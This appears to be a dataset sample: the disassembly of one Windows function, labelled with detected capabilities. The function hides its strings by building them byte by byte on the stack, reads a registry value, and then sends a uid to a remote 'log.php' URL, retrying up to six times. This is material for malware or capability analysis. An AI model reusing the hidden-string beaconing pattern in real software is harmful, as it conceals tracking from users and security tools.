Function at 0x495fb0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x497d48
mov eax, dword fs:[0]
push eax
sub esp, 0x2bc
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x74666f53
push eax
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x5d], 0x55455c65
mov word [ebp - 0x59], 0x4b44
mov word [ebp - 0x60], 0x6177
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x5e], 0x72
mov dword [ebp - 0x294], 0
call fcn.0040bf20
push 0x104
lea eax, [ebp - 0x188]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004179d0
add esp, 0xc
lea ecx, [ebp - 0x188]
call fcn.00496d30
lea eax, [ebp - 0x188]
push eax
lea ecx, [ebp - 0x2c4]
call fcn.0040bf20
push 0x4b7e58
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c0]
call fcn.00408ae0
add esp, 4
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 2
push ecx
mov edx, eax
lea ecx, [ebp - 0x298]
call fcn.00408bd0
add esp, 4
mov byte [ebp - 4], 3
mov edx, dword [eax]
mov edi, dword [ebp - 0x294]
add edi, 0xfffffff0
lea ecx, [edx - 0x10]
cmp ecx, edi
je 0x4960d1
cmp dword [edi + 0xc], 0
jl 0x4960c2
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4960c2
call fcn.0040bfe0
mov ecx, edi
mov esi, eax
call fcn.0040c610
lea eax, [esi + 0x10]
mov dword [ebp - 0x294], eax
jmp 0x4960d1
push dword [edx - 0xc]
lea ecx, [ebp - 0x294]
push edx
call fcn.0040be40
mov byte [ebp - 4], 2
or ebx, 0xffffffff
mov ecx, dword [ebp - 0x298]
mov eax, ebx
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jg 0x496112
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49610e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496112
mov ecx, edx
call edi
mov byte [ebp - 4], 1
mov eax, ebx
mov ecx, dword [ebp - 0x2c0]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x49614a
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496146
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x49614a
mov ecx, edx
call edi
mov byte [ebp - 4], 0
mov eax, ebx
mov ecx, dword [ebp - 0x2c4]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x496182
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49617e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496182
mov ecx, edx
call edi
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x29c], 0
push eax
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x2a0], 4
push eax
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x2a4], 4
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x4f], 0x65747379
push eax
push dword [ebp - 0x294]
mov dword [ebp - 0x4b], 0x4455456d
push reloc.WS2_32.dll_closesocket
mov dword [ebp - 0x43], 0x70795474
mov word [ebp - 0x3f], 0x65
mov byte [ebp - 0x50], 0x53
mov word [ebp - 0x46], 0x6f46
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x47], 0x4b
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [ebp - 0x29c], 1
jne 0x4963fb
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x298], 0
call fcn.0040c650
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x19], 0x313d73
mov dword [ebp - 0x28], 0x753f7068
mov dword [ebp - 0x1e], 0x73253d6d
mov dword [ebp - 0x37], 0x73707474
mov word [ebp - 0x30], 0x7325
mov word [ebp - 0x33], 0x2f3a
mov dword [ebp - 0x2d], 0x2e676f6c
mov word [ebp - 0x23], 0x3d64
mov byte [ebp - 0x38], 0x68
mov byte [ebp - 0x31], 0x2f
mov word [ebp - 0x20], 0x2673
mov byte [ebp - 0x21], 0x25
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x2e], 0x2f
mov byte [ebp - 0x1a], 0x26
mov byte [ebp - 0x24], 0x69
call fcn.004135a0
mov esi, eax
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 5
call fcn.004058b0
push str.bc518bf45fde40a7b69e75d9e2c385eb
mov byte [ebp - 4], 6
push dword [esi]
push dword [eax]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.0040ae40
add esp, 0x14
lea ecx, [ebp - 0x2c4]
call fcn.0040c260
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 4
call fcn.0040c260
mov esi, dword [ebp - 0x298]
xor edi, edi
cmp edi, 3
jne 0x496316
lea eax, [ebp - 0x7c]
mov word [ebp - 0x6f], 0x676f
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x6c], 0x706870
push eax
lea ecx, [ebp - 0x298]
mov byte [ebp - 0x6d], 0x2e
mov byte [ebp - 0x70], 0x6c
mov dword [ebp - 0x7a], 0x7068702e
mov word [ebp - 0x7c], 0x676c
mov byte [ebp - 0x76], 0
call fcn.00408f10
mov esi, dword [ebp - 0x298]
push 0x104
lea eax, [ebp - 0x290]
push 0
push eax
call fcn.004179d0
add esp, 0xc
lea ecx, [ebp - 0x290]
call fcn.00496d30
mov dword [ebp - 0x2a8], 0xf
mov dword [ebp - 0x2ac], 0
mov byte [ebp - 0x2bc], 0
lea eax, [ebp - 0x2bc]
mov byte [ebp - 4], 7
push eax
push esi
call fcn.004a40b0
test al, al
je 0x49637b
mov edx, 0x4b7e84
lea ecx, [ebp - 0x2bc]
call fcn.00403c80
test al, al
jne 0x4963b4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x2a8]
cmp eax, 0x10
jb 0x4963a8
inc eax
lea ecx, [ebp - 0x2bc]
push eax
push dword [ebp - 0x2bc]
call fcn.004056c0
inc edi
cmp edi, 6
jl 0x4962d2
jmp 0x4963bf
lea ecx, [ebp - 0x2bc]
call fcn.00405260
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x4963f5
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
mov edx, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x4963f3
mov eax, dword [ecx + 4]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [eax + 4]
call esi
jmp 0x4963fb
call edx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x294]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x496434
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496430
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496434
mov ecx, edx
call edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041553e
mov esp, ebp
pop ebp
ret